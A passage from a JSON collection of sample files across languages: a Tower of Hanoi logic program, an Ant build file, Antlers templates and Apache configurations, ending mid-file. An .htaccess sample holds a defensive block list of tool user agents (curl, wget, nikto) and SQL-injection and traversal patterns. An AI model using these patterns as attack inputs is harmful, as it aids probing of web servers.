    "content": "% initial situation\non(D,P,0) :- init_on(D,P).\n\n% check goal situation\nngoal(T) :- on(D,P,T), not goal_on(D,P).\n:- ngoal(n).\n\n% state transition and state constraints\n1 { move(D,P,T) : disk(D), peg(P) } 1 :- ngoal(T-1), T<=n.\n\nmove(D,T)        :- move(D,P,T).\non(D,P,T)        :- move(D,P,T).\non(D,P,T)        :- on(D,P,T-1), not move(D,T), T<=n.\nblocked(D-1,P,T) :- on(D,P,T-1).\nblocked(D-1,P,T) :- blocked(D,P,T), disk(D).\n\n:- move(D,P,T), blocked(D-1,P,T).\n:- move(D,T), on(D,P,T-1), blocked(D,P,T).\n:- disk(D), not 1 { on(D,P,T) } 1, T=1..n.\n\n_minimize(1,T) :- ngoal(T).\n"
  },
  {
    "path": "samples/Ant Build System/filenames/ant.xml",
    "content": "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<project name=\"WebBuild\">\n\n    <!-- generate timestamps -->\n    <tstamp />\n\n    <!-- Debugging Macro -->\n    <import file=\"echopath.xml\" />\n\n    <!-- JS build files macro -->\n    <import file=\"rhinoscript.xml\" />\n\n    <!-- Component Build Files -->\n    <import file=\"setup.xml\" />\n    <import file=\"clean.xml\" />\n    <import file=\"copy.xml\" />\n    <import file=\"file.transform.xml\" />\n    <import file=\"external.tools.xml\" />\n    <import file=\"rename.xml\" />\n    <import file=\"js.xml\" />\n    <import file=\"css.xml\" />\n    <import file=\"img.xml\" />\n    <import file=\"png8.xml\" />\n    <import file=\"yui.xml\" />\n    <import file=\"cdn.xml\" />\n    <import file=\"datauri.xml\" />\n    <import file=\"devlive.xml\" />\n\n    <!-- This dirname is the only complete path we know for sure, everything builds off of it -->\n    <dirname property=\"dir.build\" file=\"${ant.file.WebBuild}\" />\n\n    <!-- get name for newly built folder -->\n    <basename property=\"app.name\"       file=\"${basedir}\" />\n\n    <!-- read global properties file -->\n    <property file=\"${dir.build}\\build.properties\" />\n\n    <!-- Build Directories -->\n    <property name=\"dir.build.js\"   location=\"${dir.build}/js\" />\n\n    <!-- App Directories -->\n    <property name=\"dir.app\"        location=\"${dir.result}/${app.name}\" />\n    <property name=\"dir.app.temp\"   location=\"${dir.temp}/${app.name}\" />\n    <property name=\"dir.app.files\"  location=\"${dir.app.temp}/${dir.files}\" />\n\n    <!-- Files -->\n    <property name=\"mapping.js\"     location=\"${dir.app.temp}/${mapping.file.js}\" />\n    <property name=\"mapping.css\"    location=\"${dir.app.temp}/${mapping.file.css}\" />\n    <property name=\"mapping.img\"    location=\"${dir.app.temp}/${mapping.file.img}\" />\n    <property name=\"mapping.swf\"    location=\"${dir.app.temp}/${mapping.file.swf}\" />\n    <property name=\"mapping.fonts\"  location=\"${dir.app.temp}/${mapping.file.fonts}\" />\n\n    <!-- Tool Directories -->\n    <property name=\"dir.bin\"    location=\"${dir.build}/Bin\" />\n    <property name=\"dir.jar\"    location=\"${dir.bin}/jar\" />\n\n    <!-- Tool Files -->\n\t<property name=\"tools.compressor\"     location=\"${dir.jar}/${tools.file.compressor}\" />\n\t<property name=\"tools.cssembed\"       location=\"${dir.jar}/${tools.file.cssembed}\" />\n    <property name=\"tools.filetransform\"  location=\"${dir.jar}/${tools.file.filetransform}\" />\n    <property name=\"tools.optipng\"        location=\"${dir.bin}/${tools.file.optipng}\" />\n    <property name=\"tools.jpegtran\"       location=\"${dir.bin}/${tools.file.jpegtran}\" />\n\n\n    <!-- BUILD TARGETS -->\n\n    <!-- low level utility build targets -->\n\n    <!-- Build the tools -->\n    <target name=\"-setup.build.tools\"\n            depends=\"-define.filetransform, -define.cssembed, -define.yuicompressor, -define.jsclasspath\"\n    />\n\n    <!-- set up filesystem properties -->\n    <target\n        name=\"-setup\"\n        depends=\"-setup.mode, -setup.conditions, -setup.js, -setup.css, -setup.swf, -setup.img, -setup.fonts, -setup.yui\"\n    />\n\n    <!-- utility-ish targets -->\n    <target name=\"copy\"         depends=\"clean, tools, -copy\" />\n    <target name=\"tools\"        depends=\"-setup.build.tools\" />\n    <target name=\"finalize\"     depends=\"copy, -finalize\" />\n    <target name=\"-prepare\"     depends=\"copy, -setup\" />\n\n    <!-- individual component build targets (empty descriptions are to make sure they show in \"ant -p\") -->\n    <target name=\"devlive\"      depends=\"-prepare, -devlive\"            description=\"\" />\n    <target name=\"js\"           depends=\"-prepare, -js\"                 description=\"\" />\n    <target name=\"css\"          depends=\"-prepare, -css\"                description=\"\" />\n    <target name=\"rename\"       depends=\"-prepare, -rename\"             description=\"\" />\n    <target name=\"yui\"          depends=\"-prepare, rename, -yui\"        description=\"\" />\n    <target name=\"cdn\"          depends=\"-prepare, -cdn\"                description=\"\" />\n\n    <!-- high level build targets (Excluding of images is on purpose here, it's slow) -->\n    <target name=\"core\"\n            depends=\"devlive, js, css, cdn, rename, yui, -js.inline\"\n            description=\"Core build work\"\n    />\n\n    <target name=\"prod\"\n            depends=\"core, finalize\"\n            description=\"Full Production Build\"\n    />\n\n    <!-- debug target -->\n    <target name=\"debug\" depends=\"-setup\">\n        <echoproperties/>\n    </target>\n\n</project>\n"
  },
  {
    "path": "samples/Antlers/index.antlers.html",
    "content": "<article class=\"max-w-6xl mx-auto px-3\">\n    <header class=\"mx-auto max-w-xl text-center content\">\n        <h1 class=\"mb-4\">Blog</h1>\n        <p>This is description of the type of content you would expect to read here on this blog.</p>\n    </header>\n    {{ collection:blog as=\"posts\" paginate=\"12\" sort=\"date:desc\" }}\n        <section class=\"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6 py-8\">\n            {{ posts }}\n                <div class=\"{{ $first ? 'md:col-span-2' : 'col-span-1' }}\">\n                    {{ partial:blog/card :oversized=\"first\" }}\n                </div>\n            {{ /posts }}\n        </section>\n        {{ paginate }}\n            {{ if $prev_page || $next_page }}\n            <section class=\"flex space-x-8 justify-center text-xl pt-16 font-bold\">\n                {{ if $prev_page }}\n                    <a href=\"{{ $prev_page }}\"><span class=\"squiggle\">&larr;</span> Newer articles</a>\n                {{ /if }}\n                {{ if $next_page }}\n                    <a href=\"{{ $next_page }}\">Older articles <span class=\"squiggle\">&rarr;</span></a>\n                {{ /if }}\n            </section>\n            {{ /if }}\n        {{ /paginate }}\n    {{ /collection:blog }}\n</article>\n"
  },
  {
    "path": "samples/Antlers/kitchensink.antlers.html",
    "content": "---\nfoo: bar\nbaz: qux\n---\n<!DOCTYPE html>\n<html>\n<head>\n    <title>{{ seo_title ?? title }}</title>\n</head>\n<body>\n\n    {{ partial:layouts/navigation foo=\"bar\" :baz=\"qux\" }}\n\n    <ul>\n        {{ collection:blog limit=\"10\" :foo:bar=\"baz\" }}\n            <li>{{ title }}</li>\n        {{ /collection:blog }}\n    </ul>\n\n    {{# foo #}}\n\n    @{{ foo }}\n\n    {{? foo = \"bar\" ?}}\n\n    {{$ foo = \"bar\" $}}\n\n    {{ alfa | bravo | charlie(delta, 'echo', \"foxtrot\", $golf, 42) }}\n\n    {{ alfa[bravo] }}\n\n    {{ alfa['bravo'] }}\n\n    {{ foo ? bar : baz }}\n\n    {{ foo ?= bar }}\n\n    {{ switch(\n        (size == 'sm') => '(min-width: 768px) 35vw, 90vw',\n        (size == 'lg') => '(min-width: 768px) 75vw, 90vw',\n        () => '100vw'\n    ) }}\n\n    {{ items = {collection:headlines} merge {collection:news limit=\"5\"} }}\n\n    <?php echo 'foo'; ?>\n\n</body>\n</html>\n"
  },
  {
    "path": "samples/Antlers/kitchensink.antlers.php",
    "content": "---\nfoo: bar\nbaz: qux\n---\n<!DOCTYPE html>\n<html>\n<head>\n    <title>{{ seo_title ?? title }}</title>\n</head>\n<body>\n\n    {{ partial:layouts/navigation foo=\"bar\" :baz=\"qux\" }}\n\n    <ul>\n        {{ collection:blog limit=\"10\" :foo:bar=\"baz\" }}\n            <li>{{ title }}</li>\n        {{ /collection:blog }}\n    </ul>\n\n    {{# foo #}}\n\n    @{{ foo }}\n\n    {{? foo = \"bar\" ?}}\n\n    {{$ foo = \"bar\" $}}\n\n    {{ alfa | bravo | charlie(delta, 'echo', \"foxtrot\", $golf, 42) }}\n\n    {{ alfa[bravo] }}\n\n    {{ alfa['bravo'] }}\n\n    {{ foo ? bar : baz }}\n\n    {{ foo ?= bar }}\n\n    {{ switch(\n        (size == 'sm') => '(min-width: 768px) 35vw, 90vw',\n        (size == 'lg') => '(min-width: 768px) 75vw, 90vw',\n        () => '100vw'\n    ) }}\n\n    {{ items = {collection:headlines} merge {collection:news limit=\"5\"} }}\n\n    <?php echo 'foo'; ?>\n\n</body>\n</html>\n"
  },
  {
    "path": "samples/Antlers/layout.antlers.html",
    "content": "{{#\n\t@name Layout\n\t@desc The default layout file.\n#}}\n\n<!-- /layout.antlers.html -->\n<!doctype html>\n<html lang=\"{{ site:short_locale }}\">\n    <head>\n        <meta charset=\"utf-8\">\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, viewport-fit=cover\">\n        <link rel=\"stylesheet\" href=\"{{ mix src='css/site.css' }}\">\n        <script src=\"{{ mix src='/js/site.js' }}\" defer></script>\n        {{ partial:snippets/seo }}\n        {{ partial:snippets/browser_appearance }}\n    </head>\n    <body class=\"flex flex-col min-h-screen bg-white selection:bg-primary selection:text-white\">\n        {{ partial:snippets/noscript }}\n        {{ partial:navigation/skip_to_content }}\n        {{ partial:components/toolbar }}\n        {{ yield:seo_body }}\n\n        {{ partial:layout/header }}\n        {{ template_content }}\n        {{ partial:layout/footer }}\n    </body>\n</html>\n<!-- End: /layout.antlers.html -->\n"
  },
  {
    "path": "samples/Antlers/sitemap.antlers.xml",
    "content": "{{ xml_header }}\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"{{ if {locales:count} > 1 }} xmlns:xhtml=\"http://www.w3.org/1999/xhtml\"{{ /if }}>\n    {{ seo:sitemap_collections }}\n        {{ collection from=\"{handle}\" seo_noindex:isnt=\"true\" as=\"results\" }}\n            {{ results }}\n                <url>\n                    <loc>{{ permalink }}</loc>\n                    <lastmod>{{ updated_at format=\"Y-m-d\"}}</lastmod>\n                    <changefreq>{{ sitemap_change_frequency ? sitemap_change_frequency : 'weekly' }}</changefreq>\n                    <priority>{{ sitemap_priority ? sitemap_priority : '0.5' }}</priority>\n                    {{ if {locales:count} > 1 }}\n                        {{ locales }}\n                            <xhtml:link rel=\"alternate\" hreflang=\"{{ locale:full }}\" href=\"{{ permalink }}\"/>\n                        {{ /locales }}\n                    {{ /if }}\n                </url>\n            {{ /results }}\n        {{ /collection }}\n    {{ /seo:sitemap_collections }}\n</urlset>\n"
  },
  {
    "path": "samples/ApacheConf/apache.vhost",
    "content": "#######################\n# HOSTNAME\n######################\n\n<VirtualHost 127.0.0.1:PORT>\n    ServerAdmin patrick@heysparkbox.com\n    DocumentRoot \"/var/www/HOSTNAME\"\n    ServerName HOSTNAME\n\n    <Directory \"/var/www/HOSTNAME\">\n       Options Indexes MultiViews FollowSymLinks\n       AllowOverride All\n       Order allow,deny\n       Allow from all\n       DirectoryIndex index.php\n   </Directory>\n</VirtualHost>\n"
  },
  {
    "path": "samples/ApacheConf/filenames/.htaccess",
    "content": "ServerSignature Off\nRewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]\nRewriteCond %{THE_REQUEST} (\\\\r|\\\\n|%0A|%0D) [NC,OR]\n\nRewriteCond %{HTTP_REFERER} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]\nRewriteCond %{HTTP_COOKIE} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]\nRewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|”>|”<|/|\\\\\\.\\.\\\\).{0,9999} [NC,OR]\n\nRewriteCond %{HTTP_USER_AGENT} ^$ [OR]\nRewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} (winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]\n\n#Block mySQL injects\nRewriteCond %{QUERY_STRING} (;|<|>|’|”|\\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark) [NC,OR]\n\nRewriteCond %{QUERY_STRING} \\.\\./\\.\\. [OR]\n\nRewriteCond %{QUERY_STRING} (localhost|loopback|127\\.0\\.0\\.1) [NC,OR]\nRewriteCond %{QUERY_STRING} \\.[a-z0-9] [NC,OR]\nRewriteCond %{QUERY_STRING} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC]\n# Note: The final RewriteCond must NOT use the [OR] flag.\n\n# Return 403 Forbidden error.\nRewriteRule .* index.php [F]\n"
  },
  {
    "path": "samples/ApacheConf/filenames/apache2.conf",
    "content": "# This is the main Apache HTTP server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See <URL:http://httpd.apache.org/docs/2.2> for detailed information.\n# In particular, see\n# <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>\n# for a discussion of each configuration directive.\n#\n# Do NOT simply read the instructions in here without understanding\n# what they do.  They're here only as hints or reminders.  If you are unsure\n# consult the online docs. You have been warned.\n#\n# Configuration and logfile names: If the filenames you specify for many\n# of the server's control files begin with \"/\" (or \"drive:/\" for Win32), the\n# server will use that explicit path.  If the filenames do *not* begin\n# with \"/\", the value of ServerRoot is prepended -- so \"/var/log/apache2/foo.log\"\n# with ServerRoot set to \"\" will be interpreted by the\n# server as \"//var/log/apache2/foo.log\".\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# Do not add a slash at the end of the directory path.  If you point\n# ServerRoot at a non-local disk, be sure to point the LockFile directive\n# at a local disk.  If you wish to share the same ServerRoot for multiple\n# httpd daemons, you will need to change at least LockFile and PidFile.\n#\nServerRoot \"\"\n\n#\n# Listen: Allows you to bind Apache to specific IP addresses and/or\n# ports, instead of the default. See also the <VirtualHost>\n# directive.\n#\n# Change this to Listen on specific IP addresses as shown below to\n# prevent Apache from glomming onto all bound IP addresses.\n#\n#Listen 12.34.56.78:80\nListen 80\n\n#\n# Dynamic Shared Object (DSO) Support\n#\n# To be able to use the functionality of a module which was built as a DSO you\n# have to place corresponding `LoadModule' lines at this location so the\n# directives contained in it are actually available _before_ they are used.\n# Statically compiled modules (those listed by `httpd -l') do not need\n# to be loaded here.\n#\n# Example:\n# LoadModule foo_module modules/mod_foo.so\n#\nLoadModule authn_file_module /usr/lib/apache2/modules/mod_authn_file.so\nLoadModule authn_dbm_module /usr/lib/apache2/modules/mod_authn_dbm.so\nLoadModule authn_anon_module /usr/lib/apache2/modules/mod_authn_anon.so\nLoadModule authn_dbd_module /usr/lib/apache2/modules/mod_authn_dbd.so\nLoadModule authn_default_module /usr/lib/apache2/modules/mod_authn_default.so\nLoadModule authn_alias_module /usr/lib/apache2/modules/mod_authn_alias.so\nLoadModule authz_host_module /usr/lib/apache2/modules/mod_authz_host.so\nLoadModule authz_groupfile_module /usr/lib/apache2/modules/mod_authz_groupfile.so\nLoadModule authz_user_module /usr/lib/apache2/modules/mod_authz_user.so\nLoadModule authz_dbm_module /usr/lib/apache2/modules/mod_authz_dbm.so\nLoadModule authz_owner_module /usr/lib/apache2/modules/mod_authz_owner.so\nLoadModule authnz_ldap_module /usr/lib/apache2/modules/mod_authnz_ldap.so\nLoadModule authz_default_module /usr/lib/apache2/modules/mod_authz_default.so\nLoadModule auth_basic_module /usr/lib/apache2/modules/mod_auth_basic.so\nLoadModule auth_digest_module /usr/lib/apache2/modules/mod_auth_digest.so\nLoadModule file_cache_module /usr/lib/apache2/modules/mod_file_cache.so\nLoadModule cache_module /usr/lib/apache2/modules/mod_cache.so\nLoadModule disk_cache_module /usr/lib/apache2/modules/mod_disk_cache.so\nLoadModule mem_cache_module /usr/lib/apache2/modules/mod_mem_cache.so\nLoadModule dbd_module /usr/lib/apache2/modules/mod_dbd.so\nLoadModule dumpio_module /usr/lib/apache2/modules/mod_dumpio.so\nLoadModule ext_filter_module /usr/lib/apache2/modules/mod_ext_filter.so\nLoadModule include_module /usr/lib/apache2/modules/mod_include.so\nLoadModule filter_module /usr/lib/apache2/modules/mod_filter.so\nLoadModule charset_lite_module /usr/lib/apache2/modules/mod_charset_lite.so\nLoadModule deflate_module /usr/lib/apache2/modules/mod_deflate.so\nLoadModule ldap_module /usr/lib/apache2/modules/mod_ldap.so\nLoadModule log_forensic_module /usr/lib/apache2/modules/mod_log_forensic.so\nLoadModule env_module /usr/lib/apache2/modules/mod_env.so\nLoadModule mime_magic_module /usr/lib/apache2/modules/mod_mime_magic.so\nLoadModule cern_meta_module /usr/lib/apache2/modules/mod_cern_meta.so\nLoadModule expires_module /usr/lib/apache2/modules/mod_expires.so\nLoadModule headers_module /usr/lib/apache2/modules/mod_headers.so\nLoadModule ident_module /usr/lib/apache2/modules/mod_ident.so\nLoadModule usertrack_module /usr/lib/apache2/modules/mod_usertrack.so\nLoadModule unique_id_module /usr/lib/apache2/modules/mod_unique_id.so\nLoadModule setenvif_module /usr/lib/apache2/modules/mod_setenvif.so\nLoadModule version_module /usr/lib/apache2/modules/mod_version.so\nLoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so\nLoadModule proxy_connect_module /usr/lib/apache2/modules/mod_proxy_connect.so\nLoadModule proxy_ftp_module /usr/lib/apache2/modules/mod_proxy_ftp.so\nLoadModule proxy_http_module /usr/lib/apache2/modules/mod_proxy_http.so\nLoadModule proxy_ajp_module /usr/lib/apache2/modules/mod_proxy_ajp.so\nLoadModule proxy_balancer_module /usr/lib/apache2/modules/mod_proxy_balancer.so\nLoadModule ssl_module /usr/lib/apache2/modules/mod_ssl.so\nLoadModule mime_module /usr/lib/apache2/modules/mod_mime.so\nLoadModule dav_module /usr/lib/apache2/modules/mod_dav.so\nLoadModule status_module /usr/lib/apache2/modules/mod_status.so\nLoadModule autoindex_module /usr/lib/apache2/modules/mod_autoindex.so\nLoadModule asis_module /usr/lib/apache2/modules/mod_asis.so\nLoadModule info_module /usr/lib/apache2/modules/mod_info.so\nLoadModule suexec_module /usr/lib/apache2/modules/mod_suexec.so\nLoadModule cgid_module /usr/lib/apache2/modules/mod_cgid.so\nLoadModule cgi_module /usr/lib/apache2/modules/mod_cgi.so\nLoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.so\nLoadModule dav_lock_module /usr/lib/apache2/modules/mod_dav_lock.so\nLoadModule vhost_alias_module /usr/lib/apache2/modules/mod_vhost_alias.so\nLoadModule negotiation_module /usr/lib/apache2/modules/mod_negotiation.so\nLoadModule dir_module /usr/lib/apache2/modules/mod_dir.so\nLoadModule imagemap_module /usr/lib/apache2/modules/mod_imagemap.so\nLoadModule actions_module /usr/lib/apache2/modules/mod_actions.so\nLoadModule speling_module /usr/lib/apache2/modules/mod_speling.so\nLoadModule userdir_module /usr/lib/apache2/modules/mod_userdir.so\nLoadModule alias_module /usr/lib/apache2/modules/mod_alias.so\nLoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so\n\n<IfModule !mpm_netware_module>\n#\n# If you wish httpd to run as a different user or group, you must run\n# httpd as root initially and it will switch.\n#\n# User/Group: The name (or #number) of the user/group to run httpd as.\n# It is usually good practice to create a dedicated user and group for\n# running httpd, as with most system services.\n#\nUser daemon\nGroup daemon\n</IfModule>\n\n# 'Main' server configuration\n#\n# The directives in this section set up the values used by the 'main'\n# server, which responds to any requests that aren't handled by a\n# <VirtualHost> definition.  These values also provide defaults for\n# any <VirtualHost> containers you may define later in the file.\n#\n# All of these directives may appear inside <VirtualHost> containers,\n# in which case these default settings will be overridden for the\n# virtual host being defined.\n#\n\n#\n# ServerAdmin: Your address, where problems with the server should be\n# e-mailed.  This address appears on some server-generated pages, such\n# as error documents.  e.g. admin@your-domain.com\n#\nServerAdmin you@example.com\n\n#\n# ServerName gives the name and port that the server uses to identify itself.\n# This can often be determined automatically, but we recommend you specify\n# it explicitly to prevent problems during startup.\n#\n# If your host doesn't have a registered DNS name, enter its IP address here.\n#\n#ServerName www.example.com:80\n\n#\n# DocumentRoot: The directory out of which you will serve your\n# documents. By default, all requests are taken from this directory, but\n# symbolic links and aliases may be used to point to other locations.\n#\nDocumentRoot \"/usr/share/apache2/default-site/htdocs\"\n\n#\n# Each directory to which Apache has access can be configured with respect\n# to which services and features are allowed and/or disabled in that\n# directory (and its subdirectories).\n#\n# First, we configure the \"default\" to be a very restrictive set of\n# features.\n#\n<Directory />\n    Options FollowSymLinks\n    AllowOverride None\n    Order deny,allow\n    Deny from all\n</Directory>\n\n#\n# Note that from this point forward you must specifically allow\n# particular features to be enabled - so if something's not working as\n# you might expect, make sure that you have specifically enabled it\n# below.\n#\n\n#\n# This should be changed to whatever you set DocumentRoot to.\n#\n<Directory \"/usr/share/apache2/default-site/htdocs\">\n    #\n    # Possible values for the Options directive are \"None\", \"All\",\n    # or any combination of:\n    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews\n    #\n    # Note that \"MultiViews\" must be named *explicitly* --- \"Options All\"\n    # doesn't give it to you.\n    #\n    # The Options directive is both complicated and important.  Please see\n    # http://httpd.apache.org/docs/2.2/mod/core.html#options\n    # for more information.\n    #\n    Options Indexes FollowSymLinks\n\n    #\n    # AllowOverride controls what directives may be placed in .htaccess files.\n    # It can be \"All\", \"None\", or any combination of the keywords:\n    #   Options FileInfo AuthConfig Limit\n    #\n    AllowOverride None\n\n    #\n    # Controls who can get stuff from this server.\n    #\n    Order allow,deny\n    Allow from all\n\n</Directory>\n\n#\n# DirectoryIndex: sets the file that Apache will serve if a directory\n# is requested.\n#\n<IfModule dir_module>\n    DirectoryIndex index.html\n</IfModule>\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being\n# viewed by Web clients.\n#\n<FilesMatch \"^\\.ht\">\n    Order allow,deny\n    Deny from all\n    Satisfy All\n</FilesMatch>\n\n#\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog /var/log/apache2/error_log\n\n#\n# LogLevel: Control the number of messages logged to the error_log.\n# Possible values include: debug, info, notice, warn, error, crit,\n# alert, emerg.\n#\nLogLevel warn\n\n<IfModule log_config_module>\n    #\n    # The following directives define some format nicknames for use with\n    # a CustomLog directive (see below).\n    #\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\n\n    <IfModule logio_module>\n      # You need to enable mod_logio.c to use %I and %O\n      LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio\n    </IfModule>\n\n    #\n    # The location and format of the access logfile (Common Logfile Format).\n    # If you do not define any access logfiles within a <VirtualHost>\n    # container, they will be logged here.  Contrariwise, if you *do*\n    # define per-<VirtualHost> access logfiles, transactions will be\n    # logged therein and *not* in this file.\n    #\n    CustomLog /var/log/apache2/access_log common\n\n    #\n    # If you prefer a logfile with access, agent, and referer information\n    # (Combined Logfile Format) you can use the following directive.\n    #\n    #CustomLog /var/log/apache2/access_log combined\n</IfModule>\n\n<IfModule alias_module>\n    #\n    # Redirect: Allows you to tell clients about documents that used to\n    # exist in your server's namespace, but do not anymore. The client\n    # will make a new request for the document at its new location.\n    # Example:\n    # Redirect permanent /foo http://www.example.com/bar\n\n    #\n    # Alias: Maps web paths into filesystem paths and is used to\n    # access content that does not live under the DocumentRoot.\n    # Example:\n    # Alias /webpath /full/filesystem/path\n    #\n    # If you include a trailing / on /webpath then the server will\n    # require it to be present in the URL.  You will also likely\n    # need to provide a <Directory> section to allow access to\n    # the filesystem path.\n\n    #\n    # ScriptAlias: This controls which directories contain server scripts.\n    # ScriptAliases are essentially the same as Aliases, except that\n    # documents in the target directory are treated as applications and\n    # run by the server when requested rather than as documents sent to the\n    # client.  The same rules about trailing \"/\" apply to ScriptAlias\n    # directives as to Alias.\n    #\n    ScriptAlias /cgi-bin/ \"/usr/lib/cgi-bin/\"\n\n</IfModule>\n\n<IfModule cgid_module>\n    #\n    # ScriptSock: On threaded servers, designate the path to the UNIX\n    # socket used to communicate with the CGI daemon of mod_cgid.\n    #\n    #Scriptsock /var/run/apache2/cgisock\n</IfModule>\n\n#\n# \"/usr/lib/cgi-bin\" should be changed to whatever your ScriptAliased\n# CGI directory exists, if you have that configured.\n#\n<Directory \"/usr/lib/cgi-bin\">\n    AllowOverride None\n    Options None\n    Order allow,deny\n    Allow from all\n</Directory>\n\n#\n# DefaultType: the default MIME type the server will use for a document\n# if it cannot otherwise determine one, such as from filename extensions.\n# If your server contains mostly text or HTML documents, \"text/plain\" is\n# a good value.  If most of your content is binary, such as applications\n# or images, you may want to use \"application/octet-stream\" instead to\n# keep browsers from trying to display binary files as though they are\n# text.\n#\nDefaultType text/plain\n\n<IfModule mime_module>\n    #\n    # TypesConfig points to the file containing the list of mappings from\n    # filename extension to MIME-type.\n    #\n    TypesConfig /etc/apache2/mime.types\n\n    #\n    # AddType allows you to add to or override the MIME configuration\n    # file specified in TypesConfig for specific file types.\n    #\n    #AddType application/x-gzip .tgz\n    #\n    # AddEncoding allows you to have certain browsers uncompress\n    # information on the fly. Note: Not all browsers support this.\n    #\n    #AddEncoding x-compress .Z\n    #AddEncoding x-gzip .gz .tgz\n    #\n    # If the AddEncoding directives above are commented-out, then you\n    # probably should define those extensions to indicate media types:\n    #\n    AddType application/x-compress .Z\n    AddType application/x-gzip .gz .tgz\n\n    #\n    # AddHandler allows you to map certain file extensions to \"handlers\":\n    # actions unrelated to filetype. These can be either built into the server\n    # or added with the Action directive (see below)\n    #\n    # To use CGI scripts outside of ScriptAliased directories:\n    # (You will also need to add \"ExecCGI\" to the \"Options\" directive.)\n    #\n    #AddHandler cgi-script .cgi\n\n    # For type maps (negotiated resources):\n    #AddHandler type-map var\n\n    #\n    # Filters allow you to process content before it is sent to the client.\n    #\n    # To parse .shtml files for server-side includes (SSI):\n    # (You will also need to add \"Includes\" to the \"Options\" directive.)\n    #\n    #AddType text/html .shtml\n    #AddOutputFilter INCLUDES .shtml\n</IfModule>\n\n#\n# The mod_mime_magic module allows the server to use various hints from the\n# contents of the file itself to determine its type.  The MIMEMagicFile\n# directive tells the module where the hint definitions are located.\n#\n#MIMEMagicFile /etc/apache2/magic\n\n#\n# Customizable error responses come in three flavors:\n# 1) plain text 2) local redirects 3) external redirects\n#\n# Some examples:\n#ErrorDocument 500 \"The server made a boo boo.\"\n#ErrorDocument 404 /missing.html\n#ErrorDocument 404 \"/cgi-bin/missing_handler.pl\"\n#ErrorDocument 402 http://www.example.com/subscription_info.html\n#\n\n#\n# EnableMMAP and EnableSendfile: On systems that support it,\n# memory-mapping or the sendfile syscall is used to deliver\n# files.  This usually improves server performance, but must\n# be turned off when serving from networked-mounted\n# filesystems or if support for these functions is otherwise\n# broken on your system.\n#\n#EnableMMAP off\n#EnableSendfile off\n\n# Supplemental configuration\n#\n# The configuration files in the /etc/apache2/extra/ directory can be\n# included to add extra features or to modify the default configuration of\n# the server, or you may simply copy their contents here and change as\n# necessary.\n\n# Server-pool management (MPM specific)\n#Include /etc/apache2/extra/httpd-mpm.conf\n\n# Multi-language error messages\n#Include /etc/apache2/extra/httpd-multilang-errordoc.conf\n\n# Fancy directory listings\n#Include /etc/apache2/extra/httpd-autoindex.conf\n\n# Language settings\n#Include /etc/apache2/extra/httpd-languages.conf\n\n# User home directories\n#Include /etc/apache2/extra/httpd-userdir.conf\n\n# Real-time info on requests and configuration\n#Include /etc/apache2/extra/httpd-info.conf\n\n# Virtual hosts\n#Include /etc/apache2/extra/httpd-vhosts.conf\n\n# Local access to the Apache HTTP Server Manual\n#Include /etc/apache2/extra/httpd-manual.conf\n\n# Distributed authoring and versioning (WebDAV)\n#Include /etc/apache2/extra/httpd-dav.conf\n\n# Various default settings\n#Include /etc/apache2/extra/httpd-default.conf\n\n# Secure (SSL/TLS) connections\n#Include /etc/apache2/extra/httpd-ssl.conf\n#\n# Note: The following must must be present to support\n#       starting without SSL on platforms with no /dev/random equivalent\n#       but a statically compiled-in mod_ssl.\n#\n<IfModule ssl_module>\nSSLRandomSeed startup builtin\nSSLRandomSeed connect builtin\n</IfModule>\n"
  },
  {
    "path": "samples/ApacheConf/filenames/httpd.conf",
    "content": "#\n# This is the main Apache HTTP server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See <URL:http://httpd.apache.org/docs/2.2> for detailed information.\n# In particular, see \n# <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>\n# for a discussion of each configuration directive.\n#\n# Do NOT simply read the instructions in here without understanding\n# what they do.  They're here only as hints or reminders.  If you are unsure\n# consult the online docs. You have been warned.  \n#\n# Configuration and logfile names: If the filenames you specify for many\n# of the server's control files begin with \"/\" (or \"drive:/\" for Win32), the\n# server will use that explicit path.  If the filenames do *not* begin\n# with \"/\", the value of ServerRoot is prepended -- so \"log/foo_log\"\n# with ServerRoot set to \"/usr\" will be interpreted by the\n# server as \"/usr/log/foo_log\".\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# Do not add a slash at the end of the directory path.  If you point\n# ServerRoot at a non-local disk, be sure to point the LockFile 